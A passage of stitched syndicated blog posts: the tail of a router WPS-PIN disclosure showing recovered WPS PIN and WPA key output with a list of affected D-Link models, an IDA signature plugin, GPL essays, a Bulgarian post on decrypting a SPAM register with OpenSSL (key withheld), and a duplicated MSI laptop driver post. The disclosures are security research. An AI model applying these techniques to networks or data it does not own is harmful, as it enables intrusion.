Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <[email protected]>

[+] Waiting for beacon from C0:A0:BB:EF:B3:D6
[+] Associated with C0:A0:BB:EF:B3:D6 (ESSID: dlink-B3D6)
[+] WPS PIN: ‘99767389’
[+] WPA PSK: ‘hluig79268’
[+] AP SSID: ‘dlink-B3D6′

But the DIR-810L isn’t the only device to use this algorithm. In fact, it appears to have been in use for some time, dating all the way back to 2007 when WPS was first introduced. The following is an – I’m sure – incomplete list of affected and unaffected devices:
Confirmed Affected:

DIR-810L
DIR-826L
DIR-632
DHP-1320
DIR-835
DIR-615 revs: B2, C1, E1, E3
DIR-657
DIR-827
DIR-857
DIR-451
DIR-655 revs: A3, A4, B1
DIR-825 revs: A1, B1
DIR-651
DIR-855
DIR-628
DGL-4500
DIR-601 revs: A1, B1
DIR-836L
DIR-808L
DIR-636L
DAP-1350
DAP-1555

Confirmed Unaffected:

DIR-815
DIR-505L
DIR-300
DIR-850L
DIR-412
DIR-600
DIR-685
DIR-817LW
DIR-818LW
DIR-803
DIR-845L
DIR-816L
DIR-860L
DIR-645
DIR-685
DAP-1522

Some affected devices, like the DIR-810L, generate the WPS pin from the WAN MAC; most generate it from the BSSID. A stand-alone tool implementing this algorithm can be found here, and has already been rolled into the latest Reaver Pro.

A Code Signature Plugin for IDA

Post Syndicated from Craig original http://www.devttys0.com/2014/10/a-code-signature-plugin-for-ida/

When reversing embedded code, it is often the case that completely different devices are built around a common code base, either due to code re-use by the vendor, or through the use of third-party software; this is especially true of devices running the same Real Time Operating System.
For example, I have two different routers, manufactured by two different vendors, and released about four years apart. Both devices run VxWorks, but the firmware for the older device included a symbol table, making it trivial to identify most of the original function names:
VxWorks Symbol TableVxWorks Symbol Table
The older device with the symbol table is running VxWorks 5.5, while the newer device (with no symbol table) runs VxWorks 5.5.1, so they are pretty close in terms of their OS version. However, even simple functions contain a very different sequence of instructions when compared between the two firmwares:
strcpy from the VxWorks 5.5 firmwarestrcpy from the VxWorks 5.5 firmware
strcpy from the VxWorks 5.5.1 firmwarestrcpy from the VxWorks 5.5.1 firmware
Of course, binary variations can be the result of any number of things, including differences in the compiler version and changes to the build options.
Despite this, it would still be quite useful to take the known symbol names from the older device, particularly those of standard and common subroutines, and apply them to the newer device in order to facilitate the reversing of higher level functionality.

Existing Solutions
The IDB_2_PAT plugin will generate FLIRT signatures from the IDB with a symbol table; IDA’s FLIRT analysis can then be used to identify functions in the newer, symbol-less IDB:
Functions identified by IDA FLIRT analysisFunctions identified by IDA FLIRT analysis
With the FLIRT signatures, IDA was able to identify 164 functions, some of which, like os_memcpy and udp_cksum, are quite useful.
Of course, FLIRT signatures will only identify functions that start with the same sequence of instructions, and many of the standard POSIX functions, such as printf and strcmp, were not found.
Because FLIRT signatures only examine the first 32 bytes of a function, there are also many signature collisions between similar functions, which can be problematic:

;——— (delete these lines to allow sigmake to read this file)
; add ‘+’ at the start of a line to select a module
; add ‘-‘ if you are not sure about the selection
; do nothing if you want to exclude all modules

div_r 54 B8C8 00000000000000000085001A0000081214A00002002010210007000D2401FFFF
ldiv_r 54 B8C8 00000000000000000085001A0000081214A00002002010210007000D2401FFFF

proc_sname 00 0000 0000102127BDFEF803E0000827BD0108…………………………..
proc_file 00 0000 0000102127BDFEF803E0000827BD0108…………………………..

atoi 00 0000 000028250809F52A2406000A………………………………….
atol 00 0000 000028250809F52A2406000A………………………………….

PinChecksum FF 5EB5 00044080010440213C046B5F000840403484CA6B010400193C0ECCCC35CECCCD
wps_checksum1 FF 5EB5 00044080010440213C046B5F000840403484CA6B010400193C0ECCCC35CECCCD
wps_checksum2 FF 5EB5 00044080010440213C046B5F000840403484CA6B010400193C0ECCCC35CECCCD

_d_cmp FC 1FAF 0004CD02333907FF240F07FF172F000A0006CD023C18000F3718FFFF2419FFFF
_d_cmpe FC 1FAF 0004CD02333907FF240F07FF172F000A0006CD023C18000F3718FFFF2419FFFF

_f_cmp A0 C947 0004CDC2333900FF241800FF173800070005CDC23C19007F3739FFFF0099C824
_f_cmpe A0 C947 0004CDC2333900FF241800FF173800070005CDC23C19007F3739FFFF0099C824

m_get 00 0000 00803021000610423C04803D8C8494F0…………………………..
m_gethdr 00 0000 00803021000610423C04803D8C8494F0…………………………..
m_getclr 00 0000 00803021000610423C04803D8C8494F0…………………………..

Alternative Signature Approaches
Examining the functions between the two VxWorks firmwares shows that there are a small fraction (about 3%) of unique subroutines that are identical between both firmware images:
bcopy from the VxWorks 5.5 firmwarebcopy from the VxWorks 5.5 firmware
bcopy from the VxWorks 5.5.1 firmwarebcopy from the VxWorks 5.5.1 firmware
Signatures can be created over the entirety of these functions in order to generate more accurate fingerprints, without the possibility of collisions due to similar or identical function prologues in unrelated subroutines.
Still other functions are very nearly identical, as exemplified by the following functions which only differ by a couple of instructions:
A function from the VxWorks 5.5 firmwareA function from the VxWorks 5.5 firmware
The same function, in the VxWorks 5.5.1 firmwareThe same function, from the VxWorks 5.5.1 firmware
A simple way to identify these similar, but not identical, functions in an architecture independent manner is to generate “fuzzy” signatures based only on easily identifiable actions, such as memory accesses, references to constant values, and function calls.
In the above function for example, we can see that there are six code blocks, one which references the immediate value 0xFFFFFFFF, one which has a single function call, and one which contains two function calls. As long as no other functions match this “fuzzy” signature, we can use these unique metrics to identify this same function in other IDBs. Although this type of matching can catch functions that would otherwise go unidentified, it also has a higher propensity for false positives.
A bit more reliable metric is unique string references, such as this one in gethostbyname:
gethostbyname string xrefgethostbyname string xref
Likewise, unique constants can also be used for function identification, particularly subroutines related to crypto or hashing:
Constant 0x41C64E6D used by randConstant 0x41C64E6D used by rand
Even identifying functions whose names we don’t know can be useful. Consider the following code snippet in sub_801A50E0, from the VxWorks 5.5 firmware:
Function calls from sub_801A50E0Function calls from sub_801A50E0
This unidentified function calls memset, strcpy, atoi, and sprintf; hence, if we can find this same function in other VxWorks firmware, we can identify these standard functions by association.
Alternative Signatures in Practice
I wrote an IDA plugin to automate these signature techniques and apply them to the VxWorks 5.5.1 firmware:
Output from the Rizzo pluginOutput from the Rizzo plugin
This identified nearly 1,300 functions, and although some of those are probably incorrect, it was quite successful in locating many standard POSIX functions:
Functions identified by RizzoFunctions identified by Rizzo
Like any such automated process, this is sure to produce some false positives/negatives, but having used it successfully against several RTOS firmwares now, I’m quite happy with it (read: “it works for me”!).

Thoughts On GPL Compliance of Red Hat’s Linux Distribution

Post Syndicated from Bradley M. Kuhn original http://ebb.org/bkuhn/blog/2011/03/11/linux-red-hat-gpl.html

Today, I
was interviewed
by Sam Varghese about whether Red Hat’s current distribution policies
for the kernel named Linux
are GPL-compliant. You can read there
that
AFAICT they are, and have been presented with no evidence to the
contrary.

Last week, when the original
story broke
, I happened to be at
the Linux
Foundation
‘s End
User Summit
, and I had a rather extensive discussion with
attendees there about this issue,
including Jon
Corbet, who wrote an article about it
. In my mind, the issue was
settled after that discussion, and I had actually put out of my mind,
until I realized (when Varghese contacted me for an interview) that
people had
conflated my
previous blog post from last weekend
as being a comment
specifically on the kernel distribution issue. (I’d been otherwise
busy this week, and thus hadn’t yet
seen Jake
Edge’s follow-up article on LWN
(to which I respond to in detail
below).)

(BTW, on this issue please note that my analysis below is purely a
GPLv2 analysis.
GPLv3 analysis may be
slightly different here, but since, for the moment, the issue relates to
the kernel named Linux which is currently licensed GPLv2-only,
discussing GPLv3 in this context is a bit off-topic.)

Preferred Form For Modification

I have been a bit amazed to watch that so much debate on this has
happened around the words of preferred form of the work for making
modifications to it
from GPLv2§3.
In particularly, I can’t help chuckling at the esoteric level to which
many people believe they can read these words. I laugh to myself and
think: not a one of these people commenting on this has ever tried in
their life to actually enforce the GPL.

To be a bit less sardonic, I agree with those who are saying
that the preferred form of modification should be the exact
organization of the bytes as we would all like to have them to make our
further work on the software as easy as possible. But I always look at
GPL with an enforcers’ eye, and have to say this wish is one that won’t
be fulfilled all the time.

The way preferred form for modification ends up working out in
GPLv2 enforcement is something more like: you must provide complete
sources that a sufficiently skilled software developer can actually make
use of it without any reverse engineering. Thus, it does clearly
prohibit things like source on
cuneiform tablet that Branden mentions
. (BTW, I wonder if Branden
knows we GPL geeks started using that as an example circa 2001.) GPLv2
also certainly prohibits source obfuscation tools that Jake Edge
mentions. But, suppose you give me a nice .tar.bz2 file with all the
sources organized neatly in mundane ASCII files, which I can open up
with tar xvf, cd in, type make and get a
binary out of those sources that’s functional and feature-equivalent to
your binaries, and then I can type make install and that binary
is put into the right place on the device where your binary runs. I
reboot the device, and I’m up and running with my newly compiled version
rather than the binary you gave me. I’d call that scenario easily GPLv2
compliant.

Specifically, ease of upstream contribution has almost nothing to do
with GPL compliance. Whether you get some software in a form the
upstream likes (or can easily use) is more or less irrelevant to the
letter of the license. The compliance question always is: did their
distribution meet the terms required by the GPL?

Now, I’m talking above about the letter of the license. The spirit of
the license is something different. GPL exists (in part) to promote
collaboration, and if you make it difficult for those receiving your
distributions to easily share and improve the work with a larger
community, it’s still a fail (in a moral sense), but not a failure to
comply with the GPL. It’s a failure to treat the community well.
Frankly, no software license can effectively prevent annoying and
uncooperative behavior from those who seek to only follow the exact
letter of the rules.

Prominent Notices of Changes

Meanwhile, what people
are actually complaining
about is
that Red
Hat RHEL customers have access to better meta-information about why
various patches were applied
.
Some have argued (quite reasonably) that this information is required
under GPLv2§2(a), but usually that section has been interpreted to
allow a very terse changelog. Corbet’s original article mentioned that
the
Red
Hat distribution of the kernel named Linux
contains no changelog. I
see why he said that, because it took me some time to find it myself
(and an earlier version of this very blog post was therefore incorrect on that
point), but the src.rpm file does have what appears to be a
changelog embedded in the kernel.spec file. There’s also a
simple summary as well
that in
release notes found in a separate src.rpm
(in the file called
kernel.xml). This material seems sufficient to me to meet the
letter-of-the-license compliance for GPLv2§2(a) requirements. I,
too, wish the log were a bit more readable and organized, but, again,
the debate isn’t about whether there’s optimal community cooperation
going on, but rather whether this distribution complies with the
GPL.

Relating This to the RHEL Model

My
previous blog post
, which, while it was focused on answering the
question of whether or not Fedora is somehow inappropriately exploited
(via, say, proprietary relicensing) to build the RHEL business model,
also addressed the issue whether RHEL’s business model is
GPL-compliant. I didn’t think about that blog post in connection with
the distribution of the kernel named Linux issue, but even considering
that now, I still have no reason to believe RHEL’s business model is
non-compliant. (I continue to believe it’s unfriendly, of course.)

Varghese directly asked me if I felt the if you exercise GPL rights,
then your money’s no good here business model is an additional
restriction under GPLv2. I don’t think it is, and said so. Meanwhile, I was a bit
troubled by the conclusions Jake Edge came to regarding this. First
of all, I haven’t forgotten about Sveasoft (geez, who could?), but
that situation came up years after the RHEL business model started, so
Jake’s implication that Sveasoft “tried this model first” would
be wrong even if Sveasoft had an identical business
model.

However, the bigger difficulty in trying to use the Sveasoft
scenario as precedent (as Jake hints we should) is not only because of
the “link rot” Jake referenced, but also because
Sveasoft frequently modified their business model over a period of
years. There’s no way to coherently use them as an example for anything
but erratic behavior.

The RHEL model, by contrast, AFAICT, has been consistent for nearly a
decade. (It was once called the “Red Hat Advanced Server”,
but the business model seems to be the
same). Notwithstanding
Red Hat employees themselves
, I’ve never talked to anyone who
particularly likes the RHEL business model or thinks it is
community-friendly, but I’ve also never received a report from
someone that showed a GPL violation there. Even the
“report” that first made me aware of the RHEL model, wherein
someone told me: I hired a guy to call Red Hat for service all day
every day for eight hours a day and those jerks at Red Hat said they
were going to cancel my contract didn’t sound like a GPL violation
to me. I’d cancel the guy’s contract, too, if his employee was calling
me for eight hours a day straight!

More importantly, though, I’m troubled that Jake indicates the RHEL
model requires people to trade their GPL rights for service,
because I don’t think that’s accurate. He goes further to say
that terminat[ing] … support contract for users that run their
own kernel … is another restriction on exercising GPL rights;
that’s very inaccurate. Refusing to support software that users have
modified is completely different from restricting their right to modify.
Given that the GPL was designed by a software developer (RMS), I find it
particularly unlikely that he would have intended GPL
to require distributors to provide support for any conceivable
modification. What software developers want a license that puts that
obligation hanging over their head?

The likely confusion here is using the word “restriction”
instead of “consequence”. It’s undeniable that your support
contractors may throw up their hands in disgust and quit if you modify
the software in some strange way and still expect support. It might
even be legitimately called a consequence of choosing to modify
your software. But, you weren’t restricted from making those
modifications — far from it.

As
I’ve written
about before, I think most work should always be paid by the hour

anyway, which is for me somewhat a matter of personal principle. I
therefore always remain skeptical of any software business model that
isn’t structured around the idea of a group of people getting paid for
the hours that they actually worked. But, it’s also clear to me that
the GPL doesn’t mandate that “hourly work contracts” are the
only possible compliant business model; there are clearly others that
are GPL compliant, too. Meanwhile, it’s also trivial to invent a
business model that isn’t GPL compliant — I see such every
day, on my ever-growing list of GPL violating companies who sell
binary software with no source (nor offer therefor) included. I do find
myself wishing that the people debating whether the exact right
number of angels are dancing on the head of this particular GPL pin
would instead spend some time helping to end the flagrant, constant, and
obvious GPL violations with which I spent much time dealing time each
week.

On that note, if you ever think that someone is violating the GPL,
(either for an esoteric reason or a mundane one), I hope that you
will attempt
to get it resolved, and report the violation to a copyright holder or
enforcement agent if you can’t
. The part of this debate I find
particularly useful here is that people are considering
carefully whether or not various activities are GPL compliant. To quote
the signs all over New York City subways, If you see something, say
something. Always report suspicious activity around GPL software so
we find out together as a community if there’s really a GPL violation
going on, and correct it if there is.

SPAM дарение

Post Syndicated from RealEnder original http://alex.stanev.org/blog/?p=267

По-миналата седмица попаднах на статия в Капитал как SPAM регистърът на КЗП получил дарение. Определено се зарадвах, че са направили нещо, което да опростява справките в регистъра и следователно да го направи по-ефективен. Когато погледнах отблизо зъбите на харизания кон обаче, ми стана ясно, че стъпката е отново в страни. Технологичното решение, което колегите са предложили е .NET desktop приложение, към което се сваля криптиран файл със съдържанието на регистъра. Проверката става, като потребителя изготви файл с електронните адреси на получателите, а приложението го филтрира в съответствие със съдържанието на регистъра.
От това веднага трябва да е станало ясно, че ключа за декриптиране вероятно е забит в самото приложение. След прилагането на не-чак-вуду-техники (strings and friends), нямащи нищо общо с reverse engineering, става ясно, че регистърът е криптиран с DES-CBC, а 20 минути по-късно декриптирането се свежда до една команда с OpenSSL:
[email protected]:~$ openssl des-cbc -d -K [find_it_youself] -iv 00f00ab00bc00cf0 -in 29112010.TXT -out spam.txt
Разбира се, изпратих поща на КЗП за проблема, описвайки и възможността недоброжелател да декриптира регистъра и да го постне по руските и китайските спам форуми. След това резултатът е ясен, а действието ефективно ще подкопае и без това крехките устои на SPAM регистъра.
Отговор вече повече от седмица няма.

Proprietary Licenses Are Even Worse Than They Look

Post Syndicated from Bradley M. Kuhn original http://ebb.org/bkuhn/blog/2010/04/07/proprietary-licenses.html

There are lots of evil things that proprietary software companies might
do. Companies put their own profit above the rights and freedoms of
their users, and to that end, much can be done that subjugates
users. Even as someone who avoids proprietary software, I still read
many proprietary license agreements (mainly to see how bad they are).
I’ve certainly become numb to the constant barrage of horrible
restrictions they place on users. But, sometimes, proprietary licenses
go so far that I’m taken aback by their gratuitous cruelty.

Apple’s licenses are probably the easiest example of proprietary
licensing terms that are well beyond reasonableness. Of course, Apple’s
licenses do the usual things like forbidding users from copying,
modifying, sharing, and reverse engineering the software. But even
worse, Apple also forbid users from running Apple software on any
hardware that is not produced by Apple.

The decoupling of one’s hardware vendor from one’s software vendor was
a great innovation brought about by the PC revolution, in which,
ironically, Apple played a role. Computing history has shown us that when
your software vendor also controls your hardware, you can easily be
“locked in“ in ways that make mundane proprietary software
licenses seem almost nonthreatening.

Film image from Tron of the Master Control Program (MCP)

Indeed, Apple has such a good hype machine that
they even
have convinced some users this restrictive policy makes computing
better
. In this worldview, the paternalistic vendor will use its
proprietary controls over as many pieces of the technology as possible
to keep the infantile users from doing something that’s “just bad
for them”. The tyrannical
MCP
of Tron comes quickly to my mind.

I’m amazed that so many otherwise Free Software supporters are quite
happy using OSX and buying Apple products, given these kinds of utterly
unacceptable policies. The scariest part, though, is that this practice
isn’t confined to Apple. I’ve been recently reminded that other
companies, such
as IBM, do exactly the same thing
. As a Free Software advocate, I’m
critical of any company that uses their control of a proprietary
software license to demand that users run that software only on the
original company’s hardware as well. The production and distribution of
mundane proprietary software is bad enough. It’s unfortunate that
companies like Apple and IBM are going the extra mile to treat users
even worse.

MSI S270 Laptop Linux Kernel Driver

Post Syndicated from Lennart Poettering original http://0pointer.net/blog/projects/s270-kernel.html

Earlier this year I worked on reverse engineering the
brightness control of my MSI
S270 laptop
. Turning this work into a proper kernel driver was still left
to be done. Until yesterday… The result of yesterday’s work are two kernel patches I already posted
for upstream inclusion.

If you want to test these drivers, download the latest kernel patches:

acpi-ec-transaction.patch
acpi-s270.patch

The two patches apply to kernel 2.6.17. After patching activate “MSI S270
Laptop Extras” under “Device Drivers”/”Misc devices” and recompile and install.
After loading the s270 module, you now have a backlight class driver
exposing its innards in /sys/class/backlight/s270bl/. For
changing the screen brightness issue as root:

echo 8 > /sys/class/backlight/s270bl/brightness

This will set the screen brightness to maximum. The integer range is 0..8.

In addition to this backlight class driver we export a platform driver which
allows reading the current state of the WLAN/Bluetooth subsystem. The platform
drivers also allows toggling the automatic brightness control feature:

cat /sys/devices/platform/s270pf/wlan # Show WLAN status
cat /sys/devices/platform/s270pf/bluetooth # Show Bluetooth status
echo 1 > /sys/devices/platform/s270pf/auto_brightness # Enable automatic brightness control

If the driver refuses to load (returning ENODEV) and you are sure you have
an MSI S270 the machine is probably not recognized correctly by its DMI data.
In that case you can pass force=1 to the driver which will force the
driver load even when the DMI data doesn’t match. YMMV. If everything works
correctly please make sure to send me the output of dmidecode, so that
I can add the DMI data to the list of known laptops in the driver.

There might even be a chance that this driver works on other MSI laptop
models, too (such as S260). YMMV. But don’t come running when the driver causes
your machine to explode! MSI laptops such as the S270 or S260 are often sold as
OEM hardware under different brands (such as Cytron/TCM/Medion/Tchibo MD96100
or “SAM2000”), so if your laptop looks remotely like this one and dmidecode |
grep MICRO-STAR yields at least a single line, and you are adventurous
than you might want to test this driver on it. And don’t forget to send me your
dmidecode output if it works for you!

Unfortunately HAL (at least in my version 0.5.7) doesn’t support the generic
backlight device class yet, which means no gnome-power-manager support
for now.

Although this driver is based on reverse engineered data it should be
legally safe even in the US. After I did my initial work on the S270 controls
MSI supplied me with a register table of their ACPI Embedded Controller
(which is what this driver interfaces with) and one of their engineers even
tested my work.

Last but not least I created a mailing list for
discussion of Linux on the MSI S270
. Please join if you run Linux on one of
these machines! I will announce future driver work for the S270 there.

MSI S270 Laptop Linux Kernel Driver

Post Syndicated from Lennart Poettering original http://0pointer.net/blog/projects/s270-kernel.html

Earlier this year I worked on reverse engineering the
brightness control of my MSI
S270 laptop
. Turning this work into a proper kernel driver was still left
to be done. Until yesterday… The result of yesterday’s work are two kernel patches I already posted
for upstream inclusion.

If you want to test these drivers, download the latest kernel patches:

  1. acpi-ec-transaction.patch
  2. acpi-s270.patch

The two patches apply to kernel 2.6.17. After patching activate “MSI S270
Laptop Extras” under “Device Drivers”/”Misc devices” and recompile and install.
After loading the s270 module, you now have a backlight class driver
exposing its innards in /sys/class/backlight/s270bl/. For
changing the screen brightness issue as root:

echo 8 > /sys/class/backlight/s270bl/brightness

This will set the screen brightness to maximum. The integer range is 0..8.

In addition to this backlight class driver we export a platform driver which
allows reading the current state of the WLAN/Bluetooth subsystem. The platform
drivers also allows toggling the automatic brightness control feature:

cat /sys/devices/platform/s270pf/wlan                 # Show WLAN status
cat /sys/devices/platform/s270pf/bluetooth            # Show Bluetooth status
echo 1 > /sys/devices/platform/s270pf/auto_brightness # Enable automatic brightness control

If the driver refuses to load (returning ENODEV) and you are sure you have
an MSI S270 the machine is probably not recognized correctly by its DMI data.
In that case you can pass force=1 to the driver which will force the
driver load even when the DMI data doesn’t match. YMMV. If everything works
correctly please make sure to send me the output of dmidecode, so that
I can add the DMI data to the list of known laptops in the driver.

There might even be a chance that this driver works on other MSI laptop
models, too (such as S260). YMMV. But don’t come running when the driver causes
your machine to explode! MSI laptops such as the S270 or S260 are often sold as
OEM hardware under different brands (such as Cytron/TCM/Medion/Tchibo MD96100
or “SAM2000”), so if your laptop looks remotely like this one and dmidecode |
grep MICRO-STAR
yields at least a single line, and you are adventurous
than you might want to test this driver on it. And don’t forget to send me your
dmidecode output if it works for you!

Unfortunately HAL (at least in my version 0.5.7) doesn’t support the generic
backlight device class yet, which means no gnome-power-manager support
for now.

Although this driver is based on reverse engineered data it should be
legally safe even in the US. After I did my initial work on the S270 controls
MSI supplied me with a register table of their ACPI Embedded Controller
(which is what this driver interfaces with) and one of their engineers even
tested my work.

Last but not least I created a mailing list for
discussion of Linux on the MSI S270
. Please join if you run Linux on one of
these machines! I will announce future driver work for the S270 there.